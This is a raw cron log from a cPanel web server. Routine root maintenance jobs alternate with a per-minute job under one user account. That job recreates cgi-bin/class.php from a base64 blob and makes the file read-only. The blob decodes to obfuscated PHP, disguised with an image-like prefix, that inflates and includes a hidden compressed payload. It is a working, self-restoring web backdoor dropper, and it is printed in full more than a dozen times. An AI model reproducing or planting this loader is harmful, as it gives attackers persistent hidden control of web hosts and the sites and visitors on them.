Sep  7 06:43:01 server CROND[8747]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:44:01 server CROND[9127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:44:01 server CROND[9128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:44:01 server CROND[9129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:45:01 server CROND[9513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:45:01 server CROND[9515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:45:01 server CROND[9516]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:45:01 server CROND[9517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:45:01 server CROND[9518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:45:01 server CROND[9521]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:45:01 server CROND[9519]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:46:01 server CROND[10499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:46:01 server CROND[10500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:46:01 server CROND[10501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:47:01 server CROND[10874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:47:01 server CROND[10875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:47:01 server CROND[10876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:48:01 server CROND[11294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:48:01 server CROND[11295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:48:01 server CROND[11296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:49:01 server CROND[11682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:49:01 server CROND[11681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:49:01 server CROND[11683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:50:01 server CROND[12073]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:50:01 server CROND[12074]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:50:01 server CROND[12078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:50:01 server CROND[12079]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:50:01 server CROND[12080]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:50:01 server CROND[12083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:50:01 server CROND[12082]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:50:01 server CROND[12081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:50:01 server CROND[12084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:51:01 server CROND[13022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:51:01 server CROND[13023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:51:01 server CROND[13025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:52:01 server CROND[13488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:52:01 server CROND[13489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:52:01 server CROND[13490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:53:01 server CROND[13889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:53:01 server CROND[13890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:53:01 server CROND[13891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:54:01 server CROND[14284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:54:01 server CROND[14285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:54:01 server CROND[14286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:55:01 server CROND[14671]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:55:01 server CROND[14673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:55:01 server CROND[14676]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:55:01 server CROND[14675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:55:01 server CROND[14677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:55:01 server CROND[14678]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:55:01 server CROND[14674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
